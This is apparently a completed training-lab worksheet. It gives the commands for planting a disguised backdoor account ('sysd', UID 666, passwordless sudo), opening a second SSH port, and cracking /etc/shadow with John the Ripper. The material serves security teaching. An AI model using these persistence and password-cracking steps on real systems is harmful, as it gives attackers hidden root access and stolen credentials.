**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:  
   * Your solution command here

useradd sysd -s /bin/bash

1. Give your secret user a password:  
   * Your solution command here

passwd sysd

1. Give your secret user a system UID < 1000:  
   * Your solution command here

usermod -u 666 sysd

1. Give your secret user the same GID:  
   * Your solution command here

groupmod -g 666 sysd

1. Give your secret user full sudo access without the need for a password:  
   * Your solution command here

Go into visudo & add command at the bottom

sysd ALL=(ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:  
     
   sudo apt update  
   sudo visudo

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
    Added Port 2222 underneath Port 22

Example:

Port 22

Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * Your solution command here

systemctl restart sshd

1. Exit the root account:  
   * Your solution command here

exit

exit

1. SSH to the target machine using your sysd account and port 2222:  
   * Your solution command here

ssh sysd@192.168.6.105 -p 2222

1. Use sudo to switch to the root user:  
   * Your solution command here

sudo -s

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * Your solution command here

ssh sysd@192.168.6.105 -p 2222

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
   * Your solution command here

Sudo john /etc/shadow